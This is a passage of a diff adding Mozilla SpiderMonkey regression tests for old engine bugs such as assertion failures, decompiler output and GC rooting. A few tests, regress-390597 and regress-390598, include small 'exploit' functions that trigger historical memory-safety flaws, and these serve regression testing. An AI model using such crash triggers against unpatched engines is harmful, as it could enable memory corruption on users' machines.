+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369404;
+var summary = 'Do not assert: !SPROP_HAS_STUB_SETTER(sprop) || (sprop->attrs & JSPROP_GETTER) ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window != 'undefined')
+ {
+ gDelayTestDriverEnd = true;
+ document.write('<span id="r"> </span>' +
+ '<script>' +
+ 'f = function(){};' +
+ 'f.prototype = document.getElementById("r").childNodes;' +
+ 'j = new f();' +
+ 'j[0] = null;' +
+ '</script>');
+ window.addEventListener('load', crash, false);
+ }
+ else
+ {
+ reportCompare(expect, actual, summary);
+ }
+
+ exitFunc ('test');
+}
+
+function crash()
+{
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
diff --git a/js/src/tests/js1_5/extensions/regress-369696-01.js b/js/src/tests/js1_5/extensions/regress-369696-01.js
new file mode 100644
index 000000000..985ae0f35
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-369696-01.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369696;
+var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ q = [];
+ q.__defineGetter__("0", q.toString);
+ q[2] = q;
+ assertEq(q.toSource(), "[\"\", , []]", "wrong string");
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-369696-02.js b/js/src/tests/js1_5/extensions/regress-369696-02.js
new file mode 100644
index 000000000..1784d977c
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-369696-02.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369696;
+var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject';
+var actual = '';
+var expect = '';
+
+// Bug 762908 requires us to set sp=null;
+if (this.window) window.SpecialPowers = null;
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function fun() {}
+ n = fun.prototype;
+ n.__defineGetter__("prototype", n.toSource);
+ p = n.__lookupGetter__("prototype");
+ n = p;
+
+ assertEq(n, Object.prototype.toSource);
+ assertEq(p, Object.prototype.toSource);
+
+ n["prototype"] = [n];
+ n = p;
+
+ assertEq(n, Object.prototype.toSource);
+ assertEq(p, Object.prototype.toSource);
+
+ p2 = n["prototype"];
+
+ assertEq(Array.isArray(p2), true);
+ assertEq(p2[0], Object.prototype.toSource);
+
+ n = p2;
+
+ assertEq(n.toString, Array.prototype.toString);
+ n.__defineGetter__("0", n.toString);
+ n = p;
+
+ assertEq(n, Object.prototype.toSource);
+
+ n.call(this);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-369696-03.js b/js/src/tests/js1_5/extensions/regress-369696-03.js
new file mode 100644
index 000000000..da52ab8d6
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-369696-03.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369696;
+var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x = [[[ { toSource: function() { gc(); }}]]];
+
+ var a = [];
+ a[0] = a;
+ a.toSource = a.toString;
+ Array.prototype.toSource.call(a);
+
+//cx->sharpObjectMap.depth == -2
+
+ (function() {
+ var tmp = [];
+ for (var i = 0; i != 30*1000; ++i) {
+ var tmp2 = [];
+ tmp.push(tmp2);
+ tmp2.toSource();
+ }
+ })();
+
+ gc();
+ x.toSource();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-372309.js b/js/src/tests/js1_5/extensions/regress-372309.js
new file mode 100644
index 000000000..278ee0a89
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-372309.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 372309;
+var summary = 'Root new array objects';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var width = 600;
+ var height = 600;
+
+ var img1canvas = document.createElement("canvas");
+ var img2canvas = document.createElement("canvas");
+
+ img1canvas.width = img2canvas.width = width;
+ img1canvas.height = img2canvas.height = height;
+ img1canvas.getContext("2d").getImageData(0, 0, width, height).data;
+ img2canvas.getContext("2d").getImageData(0, 0, width, height).data;
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+
+ exitFunc ('test');
+}
+
+if (typeof window != 'undefined')
+{
+ // delay test driver end
+ gDelayTestDriverEnd = true;
+
+ window.addEventListener("load", test, false);
+}
+else
+{
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_5/extensions/regress-374589.js b/js/src/tests/js1_5/extensions/regress-374589.js
new file mode 100644
index 000000000..829c5dcc3
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-374589.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 374589;
+var summary = 'Do not assert decompiling try { } catch(x if true) { } ' +
+ 'catch(y) { } finally { this.a.b; }';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function () {
+ try { } catch(x if true) { } catch(y) { } finally { this.a.b; } };
+
+ expect = 'function () { try { } catch(x if true) { } catch(y) { } ' +
+ 'finally { this.a.b; } }';
+
+ actual = f + '';
+ compareSource(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-375183.js b/js/src/tests/js1_5/extensions/regress-375183.js
new file mode 100644
index 000000000..e41751a1b
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-375183.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375183;
+var summary = '__noSuchMethod__ should not allocate beyond fp->script->depth';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj = { get __noSuchMethod__() {
+ print("Executed");
+ return new Object();
+ }};
+
+ try
+ {
+ obj.x();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary + ':1');
+
+ obj = { __noSuchMethod__: {} };
+ try
+ {
+ obj.x();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary + ':2');
+
+ obj = { }
+ obj.__noSuchMethod__ = {};
+ try
+ {
+ obj.x();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary + ':3');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-375344.js b/js/src/tests/js1_5/extensions/regress-375344.js
new file mode 100644
index 000000000..41d9eeb15
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-375344.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375344;
+var summary = 'accessing prototype of DOM objects should throw catchable error';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof HTMLElement != 'undefined')
+{
+ expect = /TypeError/;
+ try
+ {
+ print(HTMLElement.prototype.nodeName);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ print(actual);
+ }
+ reportMatch(expect, actual, summary);
+}
+else
+{
+ expect = actual = 'Test can only run in a Gecko 1.9 browser or later.';
+ print(actual);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/js1_5/extensions/regress-375801.js b/js/src/tests/js1_5/extensions/regress-375801.js
new file mode 100644
index 000000000..2ed40ae99
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-375801.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375801;
+var summary = 'uneval should use "(void 0)" instead of "undefined"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '({a: (void 0)})'
+ actual = uneval({a: undefined})
+ compareSource(expect, actual, summary + ': uneval');
+
+ expect = 'function() {({a: undefined});}';
+ actual = (function() {({a: undefined});}).toString();
+ compareSource(expect, actual, summary + ': toString');
+
+ expect = '(function () {({a: undefined});})';
+ actual = (function () {({a: undefined});}).toSource();
+ compareSource(expect, actual, summary + ': toSource');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-380581.js b/js/src/tests/js1_5/extensions/regress-380581.js
new file mode 100644
index 000000000..504a6f79d
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-380581.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 380581;
+var summary = 'Incorrect uneval with setter in object literal';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '(function() { })';
+ actual = uneval(eval("(function() { })"));
+ compareSource(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-380889.js b/js/src/tests/js1_5/extensions/regress-380889.js
new file mode 100644
index 000000000..b0e03d666
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-380889.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 380889;
+var summary = 'Source disassembler assumes SRC_SWITCH has jump table';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(i)
+ {
+ switch(i){
+ case 1:
+ case xyzzy:
+ }
+ }
+
+ if (typeof dis != 'undefined')
+ {
+ dis(f);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-381211.js b/js/src/tests/js1_5/extensions/regress-381211.js
new file mode 100644
index 000000000..079843336
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-381211.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381211;
+var summary = 'uneval with getter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '( { get x() {} } )';
+ actual = uneval({get x(){}});
+ compareSource(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-381304.js b/js/src/tests/js1_5/extensions/regress-381304.js
new file mode 100644
index 000000000..603b81fba
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-381304.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381304;
+var summary = 'getter/setter with keywords';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj;
+
+ print('1');
+
+ obj = {
+ set inn(value) {this.for = value;},
+ get inn() {return this.for;}
+ };
+
+ expect = '({get inn() { return this.for; }, set inn(value) { this.for = value; } })';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 1');
+
+ print('2');
+
+ obj = {
+ set in(value) {this.for = value;},
+ get in() {return this.for;}
+ };
+
+ expect = '({ get in() { return this.for; }, set in(value) { this.for = value; } })';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 2');
+
+ print('3');
+
+ obj = {
+ set inn(value) {this.for = value;},
+ get in() {return this.for;}
+ };
+
+ expect = '({ set inn(value) { this.for = value; }, get in() { return this.for; } })';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 4');
+
+ print('4');
+
+ obj = {
+ set in(value) {this.for = value;},
+ get inn() {return this.for;}
+ };
+
+ expect = ' ({ set in(value) { this.for = value; }, get inn() { return this.for; } })';
+ actual = obj.toSource();
+ compareSource(expect, actual, summary + ': 5');
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-385134.js b/js/src/tests/js1_5/extensions/regress-385134.js
new file mode 100644
index 000000000..041f4d6e7
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-385134.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385134;
+var summary = 'Do not crash with setter, watch, uneval';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof this.__defineSetter__ != 'undefined' &&
+ typeof this.watch != 'undefined' &&
+ typeof uneval != 'undefined')
+ {
+ try {
+ this.__defineSetter__(0, function(){});
+ } catch (exc) {
+ // In the browser, this fails. Ignore the error.
+ }
+ this.watch(0, function(){});
+ uneval(this);
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-385393-02.js b/js/src/tests/js1_5/extensions/regress-385393-02.js
new file mode 100644
index 000000000..a23efb5af
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-385393-02.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (4).__lookupGetter__("w");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-385393-09.js b/js/src/tests/js1_5/extensions/regress-385393-09.js
new file mode 100644
index 000000000..42834824a
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-385393-09.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+eval("this.__defineSetter__('x', gc); this.watch('x', [].slice); x = 1;");
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-390597.js b/js/src/tests/js1_5/extensions/regress-390597.js
new file mode 100644
index 000000000..9f8596adc
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-390597.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 390597;
+var summary = 'watch point + eval-as-setter allows access to dead JSStackFrame';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exploit() {
+ try
+ {
+ var obj = this, args = null;
+ obj.__defineSetter__("evil", eval);
+ obj.watch("evil", function() { return "args = arguments;"; });
+ obj.evil = null;
+ eval("print(args[0]);");
+ }
+ catch(ex)
+ {
+ print('Caught ' + ex);
+ }
+ }
+ exploit();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-390598.js b/js/src/tests/js1_5/extensions/regress-390598.js
new file mode 100644
index 000000000..46167bc81
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-390598.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 390598;
+var summary = 'array_length_setter is exploitable';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exploit() {
+ var fun = function () {};
+ fun.__proto__ = [];
+ fun.length = 0x50505050 >> 1;
+ fun();
+ }
+ exploit();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-394967.js b/js/src/tests/js1_5/extensions/regress-394967.js
new file mode 100644
index 000000000..e1ed16af7
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-394967.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 394967;
+var summary = 'Do not assert: !vp[1].isPrimitive()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof evalcx == 'undefined')
+ {
+ print('Skipping. This test requires evalcx.');
+ }
+ else
+ {
+ var sandbox = evalcx("");
+ try
+ {
+ evalcx("(1)()", sandbox);
+ }
+ catch(ex)
+ {
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-396326.js b/js/src/tests/js1_5/extensions/regress-396326.js
new file mode 100644
index 000000000..4c927b44e
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-396326.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396326;
+var summary = 'Do not assert trying to disassemble get(var|arg) prop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis == 'undefined')
+ {
+ print('disassembly not supported. test skipped.');
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ function f1() { var v; return v.prop };
+ dis(f1);
+ reportCompare(expect, actual, summary +
+ ': function f1() { var v; return v.prop };');
+
+ function f2(arg) { return arg.prop };
+ dis(f2);
+ reportCompare(expect, actual, summary +
+ ': function f2(arg) { return arg.prop };');
+
+ function f3() { return this.prop };
+ dis(f3);
+ reportCompare(expect, actual, summary +
+ ': function f3() { return this.prop };');
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-406572.js b/js/src/tests/js1_5/extensions/regress-406572.js
new file mode 100644
index 000000000..4911d05bc
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-406572.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 406572;
+var summary = 'JSOP_CLOSURE unconditionally replaces properties of the variable object - Browser only';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof window != 'undefined')
+{
+ try {
+ actual = "FAIL: Unexpected exception thrown";
+
+ var win = window;
+ var windowString = String(window);
+ window = 1;
+ reportCompare(windowString, String(window), "window should be readonly");
+
+ if (1)
+ function window() { return 1; }
+
+ // We should reach this line without throwing. Annex B means the
+ // block-scoped function above gets an assignment to 'window' in the
+ // nearest 'var' environment, but since 'window' is read-only, the
+ // assignment silently fails.
+ actual = "";
+
+ // The test harness might rely on window having its original value:
+ // restore it.
+ window = win;
+ } catch (e) {
+ }
+}
+else
+{
+ expect = actual = 'Test can only run in a Gecko 1.9 browser or later.';
+ print(actual);
+}
+reportCompare(expect, actual, summary);
+
+
diff --git a/js/src/tests/js1_5/extensions/regress-407501.js b/js/src/tests/js1_5/extensions/regress-407501.js
new file mode 100644
index 000000000..444f76e11
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-407501.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407501;
+var summary = 'JSOP_NEWINIT lacks SAVE_SP_AND_PC ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ var a = [[[[[[[0]]]]]]];
+ if (uneval(a).length == 0)
+ throw "Unexpected result";
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/js1_5/extensions/regress-407720.js b/js/src/tests/js1_5/extensions/regress-407720.js
new file mode 100644
index 000000000..9ecfedfce
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-407720.js
@@ -0,0 +1,52 @@
+// |reftest| skip-if(!xulRuntime.shell) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407720;
+var summary = 'js_FindClassObject causes crashes with getter/setter - Browser only';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// stop the test after 60 seconds
+var start = new Date();
+
+if (typeof document != 'undefined')
+{
+ // delay test driver end
+ gDelayTestDriverEnd = true;
+ document.write('<iframe onload="onLoad()"><\/iframe>');
+}
+else
+{
+ actual = 'No Crash';
+ reportCompare(expect, actual, summary);
+}
+
+function onLoad()
+{
+
+ if ( (new Date() - start) < 60*1000)
+ {
+ var x = frames[0].Window.prototype;
+ x.a = x.b = x.c = 1;
+ x.__defineGetter__("HTML document.all class", function() {});
+ frames[0].document.all;
+
+ // retry
+ frames[0].location = "about:blank";
+ }
+ else
+ {
+ actual = 'No Crash';
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+ }
+}
diff --git a/js/src/tests/js1_5/extensions/regress-412926.js b/js/src/tests/js1_5/extensions/regress-412926.js
new file mode 100644
index 000000000..4ab3e671b
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-412926.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 412926;
+var summary = 'JS_ValueToId(cx, JSVAL_NULL) should return atom for "null" string';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual = expect = 'No Errors';
+
+ var obj = { 'null': 1 };
+
+ var errors = [];
+
+ if (!obj.hasOwnProperty(null))
+ errors.push('null property is not owned');
+
+ if (!obj.propertyIsEnumerable(null))
